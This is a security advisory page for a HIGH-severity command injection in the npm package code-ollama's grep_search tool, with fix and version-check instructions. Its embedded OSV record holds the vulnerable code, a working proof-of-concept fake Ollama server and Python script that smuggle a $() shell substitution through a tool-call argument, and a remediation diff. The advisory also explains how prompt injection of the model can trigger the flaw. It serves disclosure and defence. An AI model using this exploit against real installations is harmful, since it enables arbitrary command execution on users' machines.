GHSA-456v-xq2p-r4cj: code-ollama `grep_search` Command Injection Vulnerability
HIGHGHSA-456v-xq2p-r4cj is a HIGH (CVSS 7.8) `grep_search` command injection vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting code-ollama libraries in the npm ecosystem. The issue involves `grep_search` command injection via unescaped `$()` shell substitution (cwe-78). Remediation is available by upgrading affected packages to version 0.36.1.
GHSA-456v-xq2p-r4cj at a Glance
Security Impact
CVSS: 7.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
How to Fix GHSA-456v-xq2p-r4cj
To remediate this vulnerability, upgrade all affected code-ollama dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install code-ollama@0.36.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls code-ollama
How to Check if You Are Affected
To determine whether your Node.js application is affected by GHSA-456v-xq2p-r4cj, inspect your project dependencies using npm:
npm ls code-ollama
Analyze the terminal output to locate any version of code-ollama in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.36.1), your application is affected.
Note: The npm ls code-ollama command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In code-ollama, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-456v-xq2p-r4cj Affected code-ollama Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
code-ollama
|
npm |
< 0.36.1
|
0.36.1
|
References
Frequently Asked Questions
What is GHSA-456v-xq2p-r4cj?
Which code-ollama versions are affected?
What version fixes GHSA-456v-xq2p-r4cj?
Is code-ollama affected?
What is the CVSS score of GHSA-456v-xq2p-r4cj?
What CWE is associated with GHSA-456v-xq2p-r4cj?
How can I check npm dependencies for GHSA-456v-xq2p-r4cj?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-456v-xq2p-r4cj",
"modified" : "2026-09-28T13:59:43Z",
"published" : "2026-09-28T13:59:43Z",
"aliases" : [ ],
"summary" : "code-ollama: `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78)",
"details" : "## `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78)\n\n### Summary\n\nThe `grep_search` tool in `code-ollama` constructs a shell command string by interpolating attacker-controlled `pattern` and `path` arguments, then executes it via `child_process.exec()`. The sanitization only escapes backslashes and double-quote characters, leaving `$()` command substitution and backtick expansion fully intact. A malicious or compromised Ollama server can therefore inject and execute arbitrary OS commands with the privileges of the local user running `code-ollama`. Because `grep_search` is classified as a read-only tool, it auto-executes in Plan mode without any user approval prompt, making this a no-interaction-required exploitation path. Severity is **High (CVSS 7.8)**.\n\n### Details\n\n**Vulnerable sink — `src/utils/tools/filesystem/grep.ts:58-66`**\n\n```ts\nconst escapedPattern = searchPattern\n .replace(/\\\\/g, '\\\\\\\\')\n .replace(/\"/g, '\\\\\"');\nconst escapedDirPath = dirPath.replace(/\\\\/g, '\\\\\\\\').replace(/\"/g, '\\\\\"');\n\nconst { stdout } = await execShell(\n `rg --line-number --no-heading --smart-case \"${escapedPattern}\" \"${escapedDirPath}\"`,\n);\n```\n\nOnly `\\` and `\"` are neutralized. The shell metacharacter sequence `$()` (and backtick-style `` ` `` substitution) is passed through unmodified. The resulting string is passed to `execShell()` (`src/utils/tools/shell.ts:46-49`), which calls `exec` — the promisified `child_process.exec` defined at `src/utils/node.ts:1-4` — causing `/bin/sh` to interpret the entire string and expand any embedded command substitution.\n\n**Full data-flow path (source → sink)**\n\n| Step | Location | Action |\n|------|----------|--------|\n| 1 | `src/utils/ollama.ts:102-103` | External Ollama chat stream delivers `chunk.message.tool_calls` to the CLI |\n| 2 | `src/cli.ts:147-148` | Each `toolCall` is forwarded to `tools.executeToolCall()` |\n| 3 | `src/utils/tools/dispatcher.ts:300-306` | Dispatcher normalizes the call and routes it |\n| 4 | `src/utils/tools/dispatcher.ts:392-393` | `stringArgs.pattern` and `stringArgs.path` are passed verbatim to `grepSearch()` |\n| 5 | `src/utils/tools/filesystem/grep.ts:58-63` | Incomplete sanitization: only `\\` and `\"` are escaped (**root cause**) |\n| 6 | `src/utils/tools/filesystem/grep.ts:65` | Shell command string assembled and handed to `execShell()` (**sink**) |\n| 7 | `src/utils/tools/shell.ts:46-49` → `src/utils/node.ts:1-4` | `exec()` (`child_process.exec`) executes the string via `/bin/sh` |\n\n**Approval-bypass amplifier**\n\n`grep_search` is listed in `READ_TOOL_NAMES` at `src/constants/tool.ts:14-20` and is exposed in Plan mode at `src/utils/tools/definitions.ts:225-228`. Read-only tools execute automatically without presenting an approval prompt to the user, so exploitation requires zero user interaction beyond the initial `code-ollama run` invocation.\n\n### PoC\n\n**Prerequisites**\n\n- `code-ollama` v0.36.0 installed (e.g., `npm install --global code-ollama@0.36.0` or built from source via the Dockerfile below).\n- `ripgrep` (`rg`) available in `PATH` (the vulnerable code path requires it).\n- Python 3 available to run the fake Ollama server.\n\n**Step 1 — Build the self-contained Docker image (recommended)**\n\n```sh\n# From the report root directory (where vuln-001/ lives)\ndocker build -t vuln001-code-ollama -f vuln-001/Dockerfile .\ndocker run --rm vuln001-code-ollama\n```\n\nThe container automatically runs `poc.py` as `CMD`. Successful exploitation prints:\n\n```\n[+] EXPLOITATION CONFIRMED\n[+] Marker file : /tmp/poc-evidence\n[+] Contents : 'uid=0(root) gid=0(root) groups=0(root)'\n```\n\n**Step 2 — Manual reproduction (bare-metal)**\n\n```sh\n# Terminal 1 — start the malicious Ollama server\ncat > /tmp/fake-ollama.py <<'PY'\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport json, sys, threading\n\n_req = 0\n_lock = threading.Lock()\n\nclass H(BaseHTTPRequestHandler):\n def log_message(self, *a): pass\n def do_GET(self):\n self.send_response(200); self.end_headers()\n self.wfile.write(b\"Ollama is running\")\n def do_POST(self):\n global _req\n l = int(self.headers.get(\"Content-Length\", 0))\n self.rfile.read(l)\n with _lock:\n _req += 1; n = _req\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/x-ndjson\")\n self.end_headers()\n if n == 1:\n chunk = {\"model\":\"fake\",\"message\":{\"role\":\"assistant\",\"content\":\"\",\n \"tool_calls\":[{\"function\":{\"name\":\"grep_search\",\n \"arguments\":{\"pattern\":\"$(id>/tmp/poc-evidence)\",\"path\":\"/tmp\"}}}]},\n \"done\":True,\"done_reason\":\"stop\"}\n else:\n chunk = {\"model\":\"fake\",\"message\":{\"role\":\"assistant\",\"content\":\"Done.\"},\n \"done\":True,\"done_reason\":\"stop\"}\n self.wfile.write((json.dumps(chunk)+\"\\n\").encode())\n self.wfile.flush()\n\nHTTPServer((\"127.0.0.1\", 11434), H).serve_forever()\nPY\npython3 /tmp/fake-ollama.py &\n\n# Terminal 2 — run code-ollama against the fake server\nrm -f /tmp/poc-evidence\nOLLAMA_HOST=http://127.0.0.1:11434 code-ollama run --trust fake \"search the code\"\ncat /tmp/poc-evidence # expected: uid=... gid=... groups=...\n```\n\n**Explanation of the payload**\n\nThe `pattern` argument value `$(id>/tmp/poc-evidence)` survives the sanitization in `grep.ts:58-63` because only `\\` and `\"` are stripped. When the resulting shell string\n\n```\nrg --line-number --no-heading --smart-case \"$(id>/tmp/poc-evidence)\" \"/tmp\"\n```\n\nis executed by `/bin/sh` via `child_process.exec`, the shell expands `$()` first, running `id` and writing its output to `/tmp/poc-evidence` before `rg` ever starts.\n\n**Remediation**\n\nReplace the shell-string construction with an argument-vector call to avoid the shell entirely:\n\n```diff\n-import { execShell } from '../shell';\n+import { execFile } from '../../node';\n+\n+const RG_EXEC_OPTIONS = { timeout: 30_000, maxBuffer: 1024 * 1024 };\n\n- const escapedPattern = searchPattern\n- .replace(/\\\\/g, '\\\\\\\\')\n- .replace(/\"/g, '\\\\\"');\n- const escapedDirPath = dirPath\n- .replace(/\\\\/g, '\\\\\\\\')\n- .replace(/\"/g, '\\\\\"');\n-\n- const { stdout } = await execShell(\n- `rg --line-number --no-heading --smart-case \"${escapedPattern}\" \"${escapedDirPath}\"`,\n- );\n+ const { stdout } = await execFile(\n+ 'rg',\n+ ['--line-number', '--no-heading', '--smart-case', '--', searchPattern, dirPath],\n+ RG_EXEC_OPTIONS,\n+ );\n```\n\n### Impact\n\nThis is an **OS Command Injection** vulnerability (CWE-78). Any party that controls the Ollama server response — including a rogue model backend, a prompt-injection payload that manipulates the model into issuing a crafted `grep_search` tool call, or a network adversary performing a man-in-the-middle attack on an unencrypted `OLLAMA_HOST` connection — can execute arbitrary commands as the OS user running `code-ollama`.\n\nImpact scope:\n\n- **Confidentiality (High)** — attacker can read any file accessible to the user, exfiltrate source code, secrets, SSH keys, etc.\n- **Integrity (High)** — attacker can modify or delete files, plant backdoors, alter repository history.\n- **Availability (High)** — attacker can terminate processes, corrupt data, or consume system resources.\n\nThe approval-bypass via `READ_TOOL_NAMES` / Plan-mode auto-execution means the attack completes silently with no user interaction after `code-ollama run` is invoked. Developers, CI pipelines, and IDE-integrated users who run `code-ollama` in trusted directories are all at risk.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001: grep_search Command Injection — CWE-78\n# Target: ai-action/code-ollama v0.36.0\n# Proof-of-concept Docker image: builds the repo and runs poc.py\n#\n# Build (from project root):\n# docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .\n# Run:\n# docker run --rm vuln001-code-ollama\n\nFROM node:24-slim\n\n# ripgrep — required by grepSearch() in the vulnerable code path\n# python3 — runs poc.py orchestration script\nRUN apt-get update && apt-get install -y \\\n ripgrep \\\n python3 \\\n --no-install-recommends \\\n && rm -rf /var/lib/apt/lists/*\n\n# ── Install Node dependencies ──────────────────────────────────────────────────\nWORKDIR /app\nCOPY repo/package.json repo/package-lock.json ./\n# Install ALL deps (devDeps needed for vite build / tsx fallback)\nRUN npm ci\n\n# ── Copy source and build ──────────────────────────────────────────────────────\nCOPY repo/ ./\n# Produces /app/dist/cli.js — the bundled CLI entrypoint\nRUN npm run build\n\n# ── Runtime setup ─────────────────────────────────────────────────────────────\n# code-ollama writes config to ~/.code-ollama; pre-create to avoid mkdir race\nRUN mkdir -p /root/.code-ollama /workspace\n\nCOPY vuln-001/poc.py /poc.py\n\nWORKDIR /workspace\nCMD [\"python3\", \"/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof of Concept: VULN-001 — grep_search Command Injection (CWE-78)\nRepository : ai-action/code-ollama v0.36.0\nSink : src/utils/tools/filesystem/grep.ts:65\n execShell(`rg ... \"${escapedPattern}\" \"${escapedDirPath}\"`)\nAttack path: malicious Ollama server -> tool_call.arguments.pattern\n -> grepSearch() -> execShell() -> child_process.exec()\n\nOnly `\\\\` and `\"` are escaped; `$()` command substitution is NOT neutralized.\nThis PoC demonstrates that a rogue Ollama server can inject arbitrary shell\ncommands that execute as the local user running code-ollama.\n\nUsage (inside Docker, called automatically by CMD):\n python3 /poc.py\n\nExpected outcome:\n /tmp/poc-evidence is created with content matching INJECTED_CMD output.\n\"\"\"\n\nimport json\nimport os\nimport subprocess\nimport sys\nimport threading\nimport time\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n# ---------------------------------------------------------------------------\n# Configuration\n# ---------------------------------------------------------------------------\nFAKE_SERVER_HOST = \"127.0.0.1\"\nFAKE_SERVER_PORT = 11434\n\n# The marker file written by the injected command — used as exploitation proof\nMARKER_FILE = \"/tmp/poc-evidence\"\n\n# Payload: $() command substitution that is NOT escaped by code-ollama's\n# sanitization (only \\\\ and \" are escaped, leaving $() intact).\n# Writes output of `id` to MARKER_FILE to capture the running UID/GID.\nINJECTED_CMD = f\"$(id>{MARKER_FILE})\"\n\n# Path argument for grep_search (must be a valid non-empty string)\nTARGET_PATH = \"/workspace\"\n\n# Tracks how many POST requests the fake server has received\n_request_count = 0\n_request_lock = threading.Lock()\n\n# ---------------------------------------------------------------------------\n# Fake Ollama HTTP server\n# ---------------------------------------------------------------------------\n\nclass FakeOllamaHandler(BaseHTTPRequestHandler):\n \"\"\"Minimal Ollama-compatible HTTP server for the PoC.\n\n First POST /api/chat -> returns a grep_search tool_call carrying the\n injected pattern.\n Subsequent POSTs -> return a plain done response to terminate the\n code-ollama tool-loop.\n \"\"\"\n\n def log_message(self, fmt, *args): # suppress default request logging\n pass\n\n # ------------------------------------------------------------------\n # GET — health-check (code-ollama / ollama-npm may call GET /)\n # ------------------------------------------------------------------\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-Type\", \"text/plain\")\n self.end_headers()\n self.wfile.write(b\"Ollama is running\")\n\n # ------------------------------------------------------------------\n # POST — chat streaming endpoint\n # ------------------------------------------------------------------\n def do_POST(self):\n global _request_count\n\n # Consume request body to avoid broken-pipe on the client side\n content_length = int(self.headers.get(\"Content-Length\", 0))\n _ = self.rfile.read(content_length)\n\n with _request_lock:\n _request_count += 1\n current_request = _request_count\n\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/x-ndjson\")\n self.end_headers()\n\n if current_request == 1:\n # ---------------------------------------------------------------\n # First request: inject malicious grep_search tool call\n # The `arguments` object is passed verbatim through the ollama-npm\n # library and reaches grepSearch(pattern, path) in grep.ts.\n # ---------------------------------------------------------------\n print(f\"[fake-ollama] Request #{current_request}: \"\n f\"sending malicious grep_search tool_call\")\n sys.stdout.flush()\n\n chunk = {\n \"model\": \"fake\",\n \"message\": {\n \"role\": \"assistant\",\n \"content\": \"\",\n \"tool_calls\": [{\n \"function\": {\n \"name\": \"grep_search\",\n # pattern and path are the two required string args\n # validated by validateArgs() in dispatcher.ts\n \"arguments\": {\n \"pattern\": INJECTED_CMD,\n \"path\": TARGET_PATH,\n },\n }\n }],\n },\n \"done\": True,\n \"done_reason\": \"stop\",\n }\n else:\n # ---------------------------------------------------------------\n # Subsequent requests: plain text to terminate the tool loop.\n # No tool_calls -> nextMessages stays null -> processRunStream\n # returns after checking hasUncalledToolIntent (no match on\n # \"Done.\") so the CLI exits cleanly.\n # ---------------------------------------------------------------\n print(f\"[fake-ollama] Request #{current_request}: \"\n \"sending done/stop response\")\n sys.stdout.flush()\n\n chunk = {\n \"model\": \"fake\",\n \"message\": {\n \"role\": \"assistant\",\n \"content\": \"Done.\",\n },\n \"done\": True,\n \"done_reason\": \"stop\",\n }\n\n self.wfile.write((json.dumps(chunk) + \"\\n\").encode())\n self.wfile.flush()\n\n\ndef start_fake_server():\n \"\"\"Start the fake Ollama server in a daemon thread.\"\"\"\n server = HTTPServer((FAKE_SERVER_HOST, FAKE_SERVER_PORT), FakeOllamaHandler)\n thread = threading.Thread(target=server.serve_forever, daemon=True)\n thread.start()\n return server\n\n\n# ---------------------------------------------------------------------------\n# Main orchestration\n# ---------------------------------------------------------------------------\n\ndef main():\n print(\"=\" * 65)\n print(\"VULN-001: grep_search Command Injection PoC (CWE-78)\")\n print(\"Target : ai-action/code-ollama v0.36.0\")\n print(\"Sink : src/utils/tools/filesystem/grep.ts:65\")\n print(\"=\" * 65)\n print()\n print(f\"[*] Payload : {INJECTED_CMD}\")\n print(f\"[*] Marker : {MARKER_FILE}\")\n print()\n\n # Clean up any leftover marker from a previous run\n if os.path.exists(MARKER_FILE):\n os.unlink(MARKER_FILE)\n print(f\"[*] Removed stale marker file: {MARKER_FILE}\")\n\n # -----------------------------------------------------------------------\n # 1. Start the fake Ollama server\n # -----------------------------------------------------------------------\n print(f\"[*] Starting fake Ollama server on \"\n f\"{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT} ...\")\n start_fake_server()\n time.sleep(0.4) # give the server socket time to bind\n\n # -----------------------------------------------------------------------\n # 2. Run code-ollama with OLLAMA_HOST pointing to the fake server\n # --trust skips the interactive directory-trust prompt (src/cli.ts:214)\n # -----------------------------------------------------------------------\n env = os.environ.copy()\n env[\"OLLAMA_HOST\"] = f\"http://{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT}\"\n\n # Use the compiled CLI bundle produced by `npm run build` in the Dockerfile\n cmd = [\n \"node\", \"/app/dist/cli.js\",\n \"run\", \"--trust\", \"fake\", \"search the code\",\n ]\n\n print(f\"[*] Executing: {' '.join(cmd)}\")\n print(f\"[*] OLLAMA_HOST={env['OLLAMA_HOST']}\")\n print()\n\n try:\n result = subprocess.run(\n cmd,\n env=env,\n stdin=subprocess.DEVNULL, # no TTY / interactive input needed\n capture_output=True,\n text=True,\n timeout=60,\n cwd=\"/workspace\",\n )\n except subprocess.TimeoutExpired:\n print(\"[-] code-ollama subprocess timed out after 60 s\")\n sys.exit(1)\n\n print(\"--- code-ollama stdout ---\")\n print(result.stdout[:3000] if result.stdout else \"(empty)\")\n print(\"--- code-ollama stderr ---\")\n print(result.stderr[:3000] if result.stderr else \"(empty)\")\n print(f\"--- exit code: {result.returncode} ---\")\n print()\n\n # -----------------------------------------------------------------------\n # 3. Verify exploitation: check for the marker file\n # -----------------------------------------------------------------------\n if os.path.exists(MARKER_FILE):\n evidence = open(MARKER_FILE).read().strip()\n print(\"[+] ============================================================\")\n print(\"[+] EXPLOITATION CONFIRMED\")\n print(\"[+] ============================================================\")\n print(f\"[+] Marker file : {MARKER_FILE}\")\n print(f\"[+] Contents : {evidence!r}\")\n print(\"[+] Explanation : The $() command substitution inside the\")\n print(\"[+] grep_search pattern was NOT escaped by code-ollama's\")\n print(\"[+] sanitizer (grep.ts:58-63 only strips \\\\ and \\\").\")\n print(\"[+] execShell() passed the raw string to child_process.exec()\")\n print(\"[+] which ran it through /bin/sh, executing the injected\")\n print(\"[+] command as the current user.\")\n print(\"[+] ============================================================\")\n sys.exit(0)\n else:\n print(\"[-] ============================================================\")\n print(\"[-] EXPLOITATION FAILED\")\n print(f\"[-] Expected marker file NOT found: {MARKER_FILE}\")\n print(\"[-] Possible causes:\")\n print(\"[-] - ollama-npm parsed tool_call.arguments differently\")\n print(\"[-] - The pattern was sanitized before reaching execShell()\")\n print(\"[-] - ripgrep is not installed so the fallback path was taken\")\n print(\"[-] - The shell used does not support $() substitution\")\n print(\"[-] ============================================================\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "code-ollama"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.36.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.36.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/ai-action/code-ollama/security/advisories/GHSA-456v-xq2p-r4cj"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/ai-action/code-ollama"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-78" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-09-28T13:59:43Z",
"nvd_published_at" : null
}
}